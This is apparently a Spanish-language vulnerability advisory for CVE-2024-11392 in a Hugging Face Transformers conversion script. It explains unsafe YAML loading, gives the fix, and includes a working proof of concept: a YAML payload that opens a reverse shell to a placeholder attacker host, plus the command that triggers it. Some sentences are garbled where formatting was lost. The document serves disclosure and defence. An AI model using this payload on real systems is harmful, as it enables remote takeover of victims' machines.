
Detalles técnicos y exploit para CVE-2024-11392
Resumen de alto nivel y efectos de la vulnerabilidad:
La vulnerabilidad permite a un atacante ejecutar código arbitrario en la máquina anfitriona al proporcionar un archivo de configuración malicioso al script convert_mlcvnets_to_pytorch.py en el repositorio de Hugging Face Transformers.
Si un usuario desprevenido utiliza un modelo de terceros acompañado de un archivo de configuración malicioso, ejecutar el script convert_mlcvnets_to_pytorch.py conducirá a una ejecución remota de código (RCE) en el sistema de la víctima.
El Producto Vulnerable
Análisis de Causa Raíz
Descripción detallada de la vulnerabilidad: La vulnerabilidad es el resultado de la deserialización insegura de datos no confiables. El script utiliza la función con el cargador , que carga el lenguaje YAML completo y es vulnerable a la ejecución de código.
yaml.loadFullLoaderFlujo de código desde la entrada hasta la condición vulnerable:
ml-cvnet de terceros junto con su archivo de configuración.convert_mlcvnets_to_pytorch.py y le pasa el archivo de configuración.convert_mlcvnets_to_pytorch.py deserializa el archivo de configuración y ejecuta el código malicioso.Punto de inyección: La vulnerabilidad ocurre en el punto donde se llama a yaml.load(yaml_file, Loader=yaml.FullLoader).
Enlace permanente de GitHub: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
Correcciones sugeridas: Reemplace yaml.load(yaml_file, Loader=yaml.FullLoader) con yaml.safe_load(yaml_file) para prevenir la ejecución de código arbitrario.
Instrucciones para ejecutar la prueba de concepto:
transformers_exploit.yaml que abra una shell inversa en el sistema de la víctima:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py y pase el transformers_exploit.yaml archivo a --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
Nota: El archivo dummy_checkpoint.pt puede dejarse como un archivo vacío, dummy_output como un directorio vacío , y task como cualquiera de las opciones mencionadas en el script.
Enlace de descarga del software: https://github.com/huggingface/transformers/tree/main